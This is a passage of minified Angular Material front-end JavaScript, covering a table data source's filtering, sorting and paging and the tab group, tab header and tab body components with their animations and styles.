vt=this._sort?(0,Fe.T)(this._sort.sortChange,this._sort.initialized):(0,z.of)(null),Me=this._paginator?(0,Fe.T)(this._paginator.page,this._internalPageChanges,this._paginator.initialized):(0,z.of)(null),de=(0,be.aj)([this._data,this._filter]).pipe((0,Pe.U)(([ke])=>this._filterData(ke))),h=(0,be.aj)([de,vt]).pipe((0,Pe.U)(([ke])=>this._orderData(ke))),$=(0,be.aj)([h,Me]).pipe((0,Pe.U)(([ke])=>this._pageData(ke)));this._renderChangesSubscription?.unsubscribe(),this._renderChangesSubscription=$.subscribe(ke=>this._renderData.next(ke))}_filterData(vt){return this.filteredData=null==this.filter||""===this.filter?vt:vt.filter(Me=>this.filterPredicate(Me,this.filter)),this.paginator&&this._updatePaginator(this.filteredData.length),this.filteredData}_orderData(vt){return this.sort?this.sortData(vt.slice(),this.sort):vt}_pageData(vt){if(!this.paginator)return vt;const Me=this.paginator.pageIndex*this.paginator.pageSize;return vt.slice(Me,Me+this.paginator.pageSize)}_updatePaginator(vt){Promise.resolve().then(()=>{const Me=this.paginator;if(Me&&(Me.length=vt,Me.pageIndex>0)){const O=Math.ceil(Me.length/Me.pageSize)-1||0,de=Math.min(Me.pageIndex,O);de!==Me.pageIndex&&(Me.pageIndex=de,this._internalPageChanges.next())}})}connect(){return this._renderChangesSubscription||this._updateChangeSubscription(),this._renderData}disconnect(){this._renderChangesSubscription?.unsubscribe(),this._renderChangesSubscription=null}}class on extends P1{}},3848:(At,ae,d)=>{"use strict";d.d(ae,{Nh:()=>jt,SP:()=>Pe,uD:()=>Dt,uX:()=>te});var n=d(2687),a=d(9643),s=d(4080),u=d(6895),c=d(4650),f=d(3238),E=d(2986),_=d(1059),S=d(5778),g=d(7625),C=d(7545),z=d(1307),H=d(2198),j=d(8929),U=d(2654),G=d(3753),Q=d(1086),oe=d(6787),Ce=d(8896),k=d(6498),K=d(7739),se=d(445),ee=d(7340),q=d(1281),we=d(7261),ce=d(3353),je=d(9521);function Ze(pt,nt){1&pt&&c.Hsn(0)}const le=["*"];function Oe(pt,nt){}const Qe=function(pt){return{animationDuration:pt}},Ye=function(pt,nt){return{value:pt,params:nt}},qe=["tabListContainer"],Ke=["tabList"],dt=["tabListInner"],bt=["nextPaginator"],ze=["previousPaginator"],De=["tabBodyWrapper"],re=["tabHeader"];function ve(pt,nt){}function We(pt,nt){if(1&pt&&c.YNc(0,ve,0,0,"ng-template",10),2&pt){const fe=c.oxw().$implicit;c.Q6J("cdkPortalOutlet",fe.templateLabel)}}function xt(pt,nt){if(1&pt&&c._uU(0),2&pt){const fe=c.oxw().$implicit;c.Oqu(fe.textLabel)}}function Be(pt,nt){if(1&pt){const fe=c.EpF();c.TgZ(0,"div",6),c.NdJ("click",function(){const at=c.CHM(fe),Se=at.$implicit,ot=at.index,Ne=c.oxw(),ut=c.MAs(1);return c.KtG(Ne._handleClick(Se,ut,ot))})("cdkFocusChange",function(at){const ot=c.CHM(fe).index,Ne=c.oxw();return c.KtG(Ne._tabFocusChanged(at,ot))}),c.TgZ(1,"div",7),c.YNc(2,We,1,1,"ng-template",8),c.YNc(3,xt,1,1,"ng-template",null,9,c.W1O),c.qZA()()}if(2&pt){const fe=nt.$implicit,Ee=nt.index,at=c.MAs(4),Se=c.oxw();c.ekj("mat-tab-label-active",Se.selectedIndex===Ee),c.Q6J("id",Se._getTabLabelId(Ee))("ngClass",fe.labelClass)("disabled",fe.disabled)("matRippleDisabled",fe.disabled||Se.disableRipple),c.uIk("tabIndex",Se._getTabIndex(fe,Ee))("aria-posinset",Ee+1)("aria-setsize",Se._tabs.length)("aria-controls",Se._getTabContentId(Ee))("aria-selected",Se.selectedIndex===Ee)("aria-label",fe.ariaLabel||null)("aria-labelledby",!fe.ariaLabel&&fe.ariaLabelledby?fe.ariaLabelledby:null),c.xp6(2),c.Q6J("ngIf",fe.templateLabel)("ngIfElse",at)}}function pe(pt,nt){if(1&pt){const fe=c.EpF();c.TgZ(0,"mat-tab-body",11),c.NdJ("_onCentered",function(){c.CHM(fe);const at=c.oxw();return c.KtG(at._removeTabBodyWrapperHeight())})("_onCentering",function(at){c.CHM(fe);const Se=c.oxw();return c.KtG(Se._setTabBodyWrapperHeight(at))}),c.qZA()}if(2&pt){const fe=nt.$implicit,Ee=nt.index,at=c.oxw();c.ekj("mat-tab-body-active",at.selectedIndex===Ee),c.Q6J("id",at._getTabContentId(Ee))("ngClass",fe.bodyClass)("content",fe.content)("position",fe.position)("origin",fe.origin)("animationDuration",at.animationDuration)("preserveContent",at.preserveContent),c.uIk("tabindex",null!=at.contentTabIndex&&at.selectedIndex===Ee?at.contentTabIndex:null)("aria-labelledby",at._getTabLabelId(Ee))}}const w=new c.OlP("MatInkBarPositioner",{providedIn:"root",factory:function R(){return nt=>({left:nt?(nt.offsetLeft||0)+"px":"0",width:nt?(nt.offsetWidth||0)+"px":"0"})}});let X=(()=>{class pt{constructor(fe,Ee,at,Se){this._elementRef=fe,this._ngZone=Ee,this._inkBarPositioner=at,this._animationMode=Se}alignToElement(fe){this.show(),this._ngZone.run(()=>{this._ngZone.onStable.pipe((0,E.q)(1)).subscribe(()=>{const Ee=this._inkBarPositioner(fe),at=this._elementRef.nativeElement;at.style.left=Ee.left,at.style.width=Ee.width})})}show(){this._elementRef.nativeElement.style.visibility="visible"}hide(){this._elementRef.nativeElement.style.visibility="hidden"}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.R0b),c.Y36(w),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["mat-ink-bar"]],hostAttrs:[1,"mat-ink-bar"],hostVars:2,hostBindings:function(fe,Ee){2&fe&&c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode)}}),pt})();const _e=new c.OlP("MatTabContent"),Je=new c.OlP("MatTabLabel"),Et=new c.OlP("MAT_TAB");let Dt=(()=>{class pt extends s.ig{constructor(fe,Ee,at){super(fe,Ee),this._closestTab=at}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.Rgc),c.Y36(c.s_b),c.Y36(Et,8))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","mat-tab-label",""],["","matTabLabel",""]],features:[c._Bn([{provide:Je,useExisting:pt}]),c.qOj]}),pt})();const Pt=(0,f.Id)(class{}),Ie=new c.OlP("MAT_TAB_GROUP");let te=(()=>{class pt extends Pt{constructor(fe,Ee){super(),this._viewContainerRef=fe,this._closestTabGroup=Ee,this.textLabel="",this._contentPortal=null,this._stateChanges=new j.xQ,this.position=null,this.origin=null,this.isActive=!1}get templateLabel(){return this._templateLabel}set templateLabel(fe){this._setTemplateLabelInput(fe)}get content(){return this._contentPortal}ngOnChanges(fe){(fe.hasOwnProperty("textLabel")||fe.hasOwnProperty("disabled"))&&this._stateChanges.next()}ngOnDestroy(){this._stateChanges.complete()}ngOnInit(){this._contentPortal=new s.UE(this._explicitContent||this._implicitContent,this._viewContainerRef)}_setTemplateLabelInput(fe){fe&&fe._closestTab===this&&(this._templateLabel=fe)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.s_b),c.Y36(Ie,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab"]],contentQueries:function(fe,Ee,at){if(1&fe&&(c.Suo(at,Je,5),c.Suo(at,_e,7,c.Rgc)),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee.templateLabel=Se.first),c.iGM(Se=c.CRH())&&(Ee._explicitContent=Se.first)}},viewQuery:function(fe,Ee){if(1&fe&&c.Gf(c.Rgc,7),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._implicitContent=at.first)}},inputs:{disabled:"disabled",textLabel:["label","textLabel"],ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],labelClass:"labelClass",bodyClass:"bodyClass"},exportAs:["matTab"],features:[c._Bn([{provide:Et,useExisting:pt}]),c.qOj,c.TTD],ngContentSelectors:le,decls:1,vars:0,template:function(fe,Ee){1&fe&&(c.F$t(),c.YNc(0,Ze,1,0,"ng-template"))},encapsulation:2}),pt})();const x={translateTab:(0,ee.X$)("translateTab",[(0,ee.SB)("center, void, left-origin-center, right-origin-center",(0,ee.oB)({transform:"none"})),(0,ee.SB)("left",(0,ee.oB)({transform:"translate3d(-100%, 0, 0)",minHeight:"1px",visibility:"hidden"})),(0,ee.SB)("right",(0,ee.oB)({transform:"translate3d(100%, 0, 0)",minHeight:"1px",visibility:"hidden"})),(0,ee.eR)("* => left, * => right, left => center, right => center",(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")),(0,ee.eR)("void => left-origin-center",[(0,ee.oB)({transform:"translate3d(-100%, 0, 0)",visibility:"hidden"}),(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")]),(0,ee.eR)("void => right-origin-center",[(0,ee.oB)({transform:"translate3d(100%, 0, 0)",visibility:"hidden"}),(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")])])};let m=(()=>{class pt extends s.Pl{constructor(fe,Ee,at,Se){super(fe,Ee,Se),this._host=at,this._centeringSub=U.w.EMPTY,this._leavingSub=U.w.EMPTY}ngOnInit(){super.ngOnInit(),this._centeringSub=this._host._beforeCentering.pipe((0,_.O)(this._host._isCenterPosition(this._host._position))).subscribe(fe=>{fe&&!this.hasAttached()&&this.attach(this._host._content)}),this._leavingSub=this._host._afterLeavingCenter.subscribe(()=>{this._host.preserveContent||this.detach()})}ngOnDestroy(){super.ngOnDestroy(),this._centeringSub.unsubscribe(),this._leavingSub.unsubscribe()}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c._Vd),c.Y36(c.s_b),c.Y36((0,c.Gpc)(()=>B)),c.Y36(u.K0))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","matTabBodyHost",""]],features:[c.qOj]}),pt})(),b=(()=>{class pt{constructor(fe,Ee,at){this._elementRef=fe,this._dir=Ee,this._dirChangeSubscription=U.w.EMPTY,this._translateTabComplete=new j.xQ,this._onCentering=new c.vpe,this._beforeCentering=new c.vpe,this._afterLeavingCenter=new c.vpe,this._onCentered=new c.vpe(!0),this.animationDuration="500ms",this.preserveContent=!1,Ee&&(this._dirChangeSubscription=Ee.change.subscribe(Se=>{this._computePositionAnimationState(Se),at.markForCheck()})),this._translateTabComplete.pipe((0,S.x)((Se,ot)=>Se.fromState===ot.fromState&&Se.toState===ot.toState)).subscribe(Se=>{this._isCenterPosition(Se.toState)&&this._isCenterPosition(this._position)&&this._onCentered.emit(),this._isCenterPosition(Se.fromState)&&!this._isCenterPosition(this._position)&&this._afterLeavingCenter.emit()})}set position(fe){this._positionIndex=fe,this._computePositionAnimationState()}ngOnInit(){"center"==this._position&&null!=this.origin&&(this._position=this._computePositionFromOrigin(this.origin))}ngOnDestroy(){this._dirChangeSubscription.unsubscribe(),this._translateTabComplete.complete()}_onTranslateTabStarted(fe){const Ee=this._isCenterPosition(fe.toState);this._beforeCentering.emit(Ee),Ee&&this._onCentering.emit(this._elementRef.nativeElement.clientHeight)}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_isCenterPosition(fe){return"center"==fe||"left-origin-center"==fe||"right-origin-center"==fe}_computePositionAnimationState(fe=this._getLayoutDirection()){this._position=this._positionIndex<0?"ltr"==fe?"left":"right":this._positionIndex>0?"ltr"==fe?"right":"left":"center"}_computePositionFromOrigin(fe){const Ee=this._getLayoutDirection();return"ltr"==Ee&&fe<=0||"rtl"==Ee&&fe>0?"left-origin-center":"right-origin-center"}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(se.Is,8),c.Y36(c.sBO))},pt.\\u0275dir=c.lG2({type:pt,inputs:{_content:["content","_content"],origin:"origin",animationDuration:"animationDuration",preserveContent:"preserveContent",position:"position"},outputs:{_onCentering:"_onCentering",_beforeCentering:"_beforeCentering",_afterLeavingCenter:"_afterLeavingCenter",_onCentered:"_onCentered"}}),pt})(),B=(()=>{class pt extends b{constructor(fe,Ee,at){super(fe,Ee,at)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(se.Is,8),c.Y36(c.sBO))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-body"]],viewQuery:function(fe,Ee){if(1&fe&&c.Gf(s.Pl,5),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._portalHost=at.first)}},hostAttrs:[1,"mat-tab-body"],features:[c.qOj],decls:3,vars:6,consts:[["cdkScrollable","",1,"mat-tab-body-content"],["content",""],["matTabBodyHost",""]],template:function(fe,Ee){1&fe&&(c.TgZ(0,"div",0,1),c.NdJ("@translateTab.start",function(Se){return Ee._onTranslateTabStarted(Se)})("@translateTab.done",function(Se){return Ee._translateTabComplete.next(Se)}),c.YNc(2,Oe,0,0,"ng-template",2),c.qZA()),2&fe&&c.Q6J("@translateTab",c.WLB(3,Ye,Ee._position,c.VKq(1,Qe,Ee.animationDuration)))},dependencies:[m],styles:[\'.mat-tab-body-content{height:100%;overflow:auto}.mat-tab-group-dynamic-height .mat-tab-body-content{overflow:hidden}.mat-tab-body-content[style*="visibility: hidden"]{display:none}\'],encapsulation:2,data:{animation:[x.translateTab]}}),pt})();const ie=new c.OlP("MAT_TABS_CONFIG"),Xe=(0,f.Id)(class{});let it=(()=>{class pt extends Xe{constructor(fe){super(),this.elementRef=fe}focus(){this.elementRef.nativeElement.focus()}getOffsetLeft(){return this.elementRef.nativeElement.offsetLeft}getOffsetWidth(){return this.elementRef.nativeElement.offsetWidth}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","matTabLabelWrapper",""]],hostVars:3,hostBindings:function(fe,Ee){2&fe&&(c.uIk("aria-disabled",!!Ee.disabled),c.ekj("mat-tab-disabled",Ee.disabled))},inputs:{disabled:"disabled"},features:[c.qOj]}),pt})();const wt=(0,ce.i$)({passive:!0});let u1=(()=>{class pt{constructor(fe,Ee,at,Se,ot,Ne,ut){this._elementRef=fe,this._changeDetectorRef=Ee,this._viewportRuler=at,this._dir=Se,this._ngZone=ot,this._platform=Ne,this._animationMode=ut,this._scrollDistance=0,this._selectedIndexChanged=!1,this._destroyed=new j.xQ,this._showPaginationControls=!1,this._disableScrollAfter=!0,this._disableScrollBefore=!0,this._stopScrolling=new j.xQ,this._disablePagination=!1,this._selectedIndex=0,this.selectFocusedIndex=new c.vpe,this.indexFocused=new c.vpe,ot.runOutsideAngular(()=>{(0,G.R)(fe.nativeElement,"mouseleave").pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._stopInterval()})})}get disablePagination(){return this._disablePagination}set disablePagination(fe){this._disablePagination=(0,q.Ig)(fe)}get selectedIndex(){return this._selectedIndex}set selectedIndex(fe){fe=(0,q.su)(fe),this._selectedIndex!=fe&&(this._selectedIndexChanged=!0,this._selectedIndex=fe,this._keyManager&&this._keyManager.updateActiveItem(fe))}ngAfterViewInit(){(0,G.R)(this._previousPaginator.nativeElement,"touchstart",wt).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("before")}),(0,G.R)(this._nextPaginator.nativeElement,"touchstart",wt).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("after")})}ngAfterContentInit(){const fe=this._dir?this._dir.change:(0,Q.of)("ltr"),Ee=this._viewportRuler.change(150),at=()=>{this.updatePagination(),this._alignInkBarToSelectedTab()};this._keyManager=new n.Em(this._items).withHorizontalOrientation(this._getLayoutDirection()).withHomeAndEnd().withWrap(),this._keyManager.updateActiveItem(this._selectedIndex),this._ngZone.onStable.pipe((0,E.q)(1)).subscribe(at),(0,oe.T)(fe,Ee,this._items.changes,this._itemsResized()).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._ngZone.run(()=>{Promise.resolve().then(()=>{this._scrollDistance=Math.max(0,Math.min(this._getMaxScrollDistance(),this._scrollDistance)),at()})}),this._keyManager.withHorizontalOrientation(this._getLayoutDirection())}),this._keyManager.change.pipe((0,g.R)(this._destroyed)).subscribe(Se=>{this.indexFocused.emit(Se),this._setTabFocus(Se)})}_itemsResized(){return"function"!=typeof ResizeObserver?Ce.E:this._items.changes.pipe((0,_.O)(this._items),(0,C.w)(fe=>new k.y(Ee=>this._ngZone.runOutsideAngular(()=>{const at=new ResizeObserver(Se=>Ee.next(Se));return fe.forEach(Se=>at.observe(Se.elementRef.nativeElement)),()=>{at.disconnect()}}))),(0,z.T)(1),(0,H.h)(fe=>fe.some(Ee=>Ee.contentRect.width>0&&Ee.contentRect.height>0)))}ngAfterContentChecked(){this._tabLabelCount!=this._items.length&&(this.updatePagination(),this._tabLabelCount=this._items.length,this._changeDetectorRef.markForCheck()),this._selectedIndexChanged&&(this._scrollToLabel(this._selectedIndex),this._checkScrollingControls(),this._alignInkBarToSelectedTab(),this._selectedIndexChanged=!1,this._changeDetectorRef.markForCheck()),this._scrollDistanceChanged&&(this._updateTabScrollPosition(),this._scrollDistanceChanged=!1,this._changeDetectorRef.markForCheck())}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete(),this._stopScrolling.complete()}_handleKeydown(fe){if(!(0,je.Vb)(fe))switch(fe.keyCode){case je.K5:case je.L_:this.focusIndex!==this.selectedIndex&&(this.selectFocusedIndex.emit(this.focusIndex),this._itemSelected(fe));break;default:this._keyManager.onKeydown(fe)}}_onContentChanges(){const fe=this._elementRef.nativeElement.textContent;fe!==this._currentTextContent&&(this._currentTextContent=fe||"",this._ngZone.run(()=>{this.updatePagination(),this._alignInkBarToSelectedTab(),this._changeDetectorRef.markForCheck()}))}updatePagination(){this._checkPaginationEnabled(),this._checkScrollingControls(),this._updateTabScrollPosition()}get focusIndex(){return this._keyManager?this._keyManager.activeItemIndex:0}set focusIndex(fe){!this._isValidIndex(fe)||this.focusIndex===fe||!this._keyManager||this._keyManager.setActiveItem(fe)}_isValidIndex(fe){if(!this._items)return!0;const Ee=this._items?this._items.toArray()[fe]:null;return!!Ee&&!Ee.disabled}_setTabFocus(fe){if(this._showPaginationControls&&this._scrollToLabel(fe),this._items&&this._items.length){this._items.toArray()[fe].focus();const Ee=this._tabListContainer.nativeElement;Ee.scrollLeft="ltr"==this._getLayoutDirection()?0:Ee.scrollWidth-Ee.offsetWidth}}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_updateTabScrollPosition(){if(this.disablePagination)return;const fe=this.scrollDistance,Ee="ltr"===this._getLayoutDirection()?-fe:fe;this._tabList.nativeElement.style.transform=`translateX(${Math.round(Ee)}px)`,(this._platform.TRIDENT||this._platform.EDGE)&&(this._tabListContainer.nativeElement.scrollLeft=0)}get scrollDistance(){return this._scrollDistance}set scrollDistance(fe){this._scrollTo(fe)}_scrollHeader(fe){return this._scrollTo(this._scrollDistance+("before"==fe?-1:1)*this._tabListContainer.nativeElement.offsetWidth/3)}_handlePaginatorClick(fe){this._stopInterval(),this._scrollHeader(fe)}_scrollToLabel(fe){if(this.disablePagination)return;const Ee=this._items?this._items.toArray()[fe]:null;if(!Ee)return;const at=this._tabListContainer.nativeElement.offsetWidth,{offsetLeft:Se,offsetWidth:ot}=Ee.elementRef.nativeElement;let Ne,ut;"ltr"==this._getLayoutDirection()?(Ne=Se,ut=Ne+ot):(ut=this._tabListInner.nativeElement.offsetWidth-Se,Ne=ut-ot);const Rt=this.scrollDistance,Zt=this.scrollDistance+at;Ne<Rt?this.scrollDistance-=Rt-Ne+60:ut>Zt&&(this.scrollDistance+=ut-Zt+60)}_checkPaginationEnabled(){if(this.disablePagination)this._showPaginationControls=!1;else{const fe=this._tabListInner.nativeElement.scrollWidth>this._elementRef.nativeElement.offsetWidth;fe||(this.scrollDistance=0),fe!==this._showPaginationControls&&this._changeDetectorRef.markForCheck(),this._showPaginationControls=fe}}_checkScrollingControls(){this.disablePagination?this._disableScrollAfter=this._disableScrollBefore=!0:(this._disableScrollBefore=0==this.scrollDistance,this._disableScrollAfter=this.scrollDistance==this._getMaxScrollDistance(),this._changeDetectorRef.markForCheck())}_getMaxScrollDistance(){return this._tabListInner.nativeElement.scrollWidth-this._tabListContainer.nativeElement.offsetWidth||0}_alignInkBarToSelectedTab(){const fe=this._items&&this._items.length?this._items.toArray()[this.selectedIndex]:null,Ee=fe?fe.elementRef.nativeElement:null;Ee?this._inkBar.alignToElement(Ee):this._inkBar.hide()}_stopInterval(){this._stopScrolling.next()}_handlePaginatorPress(fe,Ee){Ee&&null!=Ee.button&&0!==Ee.button||(this._stopInterval(),(0,K.H)(650,100).pipe((0,g.R)((0,oe.T)(this._stopScrolling,this._destroyed))).subscribe(()=>{const{maxScrollDistance:at,distance:Se}=this._scrollHeader(fe);(0===Se||Se>=at)&&this._stopInterval()}))}_scrollTo(fe){if(this.disablePagination)return{maxScrollDistance:0,distance:0};const Ee=this._getMaxScrollDistance();return this._scrollDistance=Math.max(0,Math.min(Ee,fe)),this._scrollDistanceChanged=!0,this._checkScrollingControls(),{maxScrollDistance:Ee,distance:this._scrollDistance}}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{disablePagination:"disablePagination"}}),pt})(),c1=(()=>{class pt extends u1{constructor(fe,Ee,at,Se,ot,Ne,ut){super(fe,Ee,at,Se,ot,Ne,ut),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(fe){this._disableRipple=(0,q.Ig)(fe)}_itemSelected(fe){fe.preventDefault()}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{disableRipple:"disableRipple"},features:[c.qOj]}),pt})(),It=(()=>{class pt extends c1{constructor(fe,Ee,at,Se,ot,Ne,ut){super(fe,Ee,at,Se,ot,Ne,ut)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-header"]],contentQueries:function(fe,Ee,at){if(1&fe&&c.Suo(at,it,4),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee._items=Se)}},viewQuery:function(fe,Ee){if(1&fe&&(c.Gf(X,7),c.Gf(qe,7),c.Gf(Ke,7),c.Gf(dt,7),c.Gf(bt,5),c.Gf(ze,5)),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._inkBar=at.first),c.iGM(at=c.CRH())&&(Ee._tabListContainer=at.first),c.iGM(at=c.CRH())&&(Ee._tabList=at.first),c.iGM(at=c.CRH())&&(Ee._tabListInner=at.first),c.iGM(at=c.CRH())&&(Ee._nextPaginator=at.first),c.iGM(at=c.CRH())&&(Ee._previousPaginator=at.first)}},hostAttrs:[1,"mat-tab-header"],hostVars:4,hostBindings:function(fe,Ee){2&fe&&c.ekj("mat-tab-header-pagination-controls-enabled",Ee._showPaginationControls)("mat-tab-header-rtl","rtl"==Ee._getLayoutDirection())},inputs:{selectedIndex:"selectedIndex"},outputs:{selectFocusedIndex:"selectFocusedIndex",indexFocused:"indexFocused"},features:[c.qOj],ngContentSelectors:le,decls:14,vars:10,consts:[["aria-hidden","true","type","button","mat-ripple","","tabindex","-1",1,"mat-tab-header-pagination","mat-tab-header-pagination-before","mat-elevation-z4",3,"matRippleDisabled","disabled","click","mousedown","touchend"],["previousPaginator",""],[1,"mat-tab-header-pagination-chevron"],[1,"mat-tab-label-container",3,"keydown"],["tabListContainer",""],["role","tablist",1,"mat-tab-list",3,"cdkObserveContent"],["tabList",""],[1,"mat-tab-labels"],["tabListInner",""],["aria-hidden","true","type","button","mat-ripple","","tabindex","-1",1,"mat-tab-header-pagination","mat-tab-header-pagination-after","mat-elevation-z4",3,"matRippleDisabled","disabled","mousedown","click","touchend"],["nextPaginator",""]],template:function(fe,Ee){1&fe&&(c.F$t(),c.TgZ(0,"button",0,1),c.NdJ("click",function(){return Ee._handlePaginatorClick("before")})("mousedown",function(Se){return Ee._handlePaginatorPress("before",Se)})("touchend",function(){return Ee._stopInterval()}),c._UZ(2,"div",2),c.qZA(),c.TgZ(3,"div",3,4),c.NdJ("keydown",function(Se){return Ee._handleKeydown(Se)}),c.TgZ(5,"div",5,6),c.NdJ("cdkObserveContent",function(){return Ee._onContentChanges()}),c.TgZ(7,"div",7,8),c.Hsn(9),c.qZA(),c._UZ(10,"mat-ink-bar"),c.qZA()(),c.TgZ(11,"button",9,10),c.NdJ("mousedown",function(Se){return Ee._handlePaginatorPress("after",Se)})("click",function(){return Ee._handlePaginatorClick("after")})("touchend",function(){return Ee._stopInterval()}),c._UZ(13,"div",2),c.qZA()),2&fe&&(c.ekj("mat-tab-header-pagination-disabled",Ee._disableScrollBefore),c.Q6J("matRippleDisabled",Ee._disableScrollBefore||Ee.disableRipple)("disabled",Ee._disableScrollBefore||null),c.xp6(5),c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode),c.xp6(6),c.ekj("mat-tab-header-pagination-disabled",Ee._disableScrollAfter),c.Q6J("matRippleDisabled",Ee._disableScrollAfter||Ee.disableRipple)("disabled",Ee._disableScrollAfter||null))},dependencies:[f.wG,a.wD,X],styles:[".mat-tab-header{display:flex;overflow:hidden;position:relative;flex-shrink:0}.mat-tab-header-pagination{-webkit-user-select:none;user-select:none;position:relative;display:none;justify-content:center;align-items:center;min-width:32px;cursor:pointer;z-index:2;-webkit-tap-highlight-color:rgba(0,0,0,0);touch-action:none;box-sizing:content-box;background:none;border:none;outline:0;padding:0}.mat-tab-header-pagination::-moz-focus-inner{border:0}.mat-tab-header-pagination-controls-enabled .mat-tab-header-pagination{display:flex}.mat-tab-header-pagination-before,.mat-tab-header-rtl .mat-tab-header-pagination-after{padding-left:4px}.mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-rtl .mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(-135deg)}.mat-tab-header-rtl .mat-tab-header-pagination-before,.mat-tab-header-pagination-after{padding-right:4px}.mat-tab-header-rtl .mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(45deg)}.mat-tab-header-pagination-chevron{border-style:solid;border-width:2px 2px 0 0;height:8px;width:8px}.mat-tab-header-pagination-disabled{box-shadow:none;cursor:default}.mat-tab-list{flex-grow:1;position:relative;transition:transform 500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-ink-bar{position:absolute;bottom:0;height:2px;transition:500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-ink-bar._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-group-inverted-header .mat-ink-bar{bottom:auto;top:0}.cdk-high-contrast-active .mat-ink-bar{outline:solid 2px;height:0}.mat-tab-labels{display:flex}[mat-align-tabs=center]>.mat-tab-header .mat-tab-labels{justify-content:center}[mat-align-tabs=end]>.mat-tab-header .mat-tab-labels{justify-content:flex-end}.mat-tab-label-container{display:flex;flex-grow:1;overflow:hidden;z-index:1}.mat-tab-list._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}.mat-tab-label::before{margin:5px}@media(max-width: 599px){.mat-tab-label{min-width:72px}}"],encapsulation:2}),pt})(),_t=0;class kt{}const Fe=(0,f.pj)((0,f.Kr)(class{constructor(pt){this._elementRef=pt}}),"primary");let be=(()=>{class pt extends Fe{constructor(fe,Ee,at,Se){super(fe),this._changeDetectorRef=Ee,this._animationMode=Se,this._tabs=new c.n_E,this._indexToSelect=0,this._lastFocusedTabIndex=null,this._tabBodyWrapperHeight=0,this._tabsSubscription=U.w.EMPTY,this._tabLabelSubscription=U.w.EMPTY,this._dynamicHeight=!1,this._selectedIndex=null,this.headerPosition="above",this._disablePagination=!1,this._preserveContent=!1,this.selectedIndexChange=new c.vpe,this.focusChange=new c.vpe,this.animationDone=new c.vpe,this.selectedTabChange=new c.vpe(!0),this._groupId=_t++,this.animationDuration=at&&at.animationDuration?at.animationDuration:"500ms",this.disablePagination=!(!at||null==at.disablePagination)&&at.disablePagination,this.dynamicHeight=!(!at||null==at.dynamicHeight)&&at.dynamicHeight,this.contentTabIndex=at?.contentTabIndex??null,this.preserveContent=!!at?.preserveContent}get dynamicHeight(){return this._dynamicHeight}set dynamicHeight(fe){this._dynamicHeight=(0,q.Ig)(fe)}get selectedIndex(){return this._selectedIndex}set selectedIndex(fe){this._indexToSelect=(0,q.su)(fe,null)}get animationDuration(){return this._animationDuration}set animationDuration(fe){this._animationDuration=/^\\d+$/.test(fe+"")?fe+"ms":fe}get contentTabIndex(){return this._contentTabIndex}set 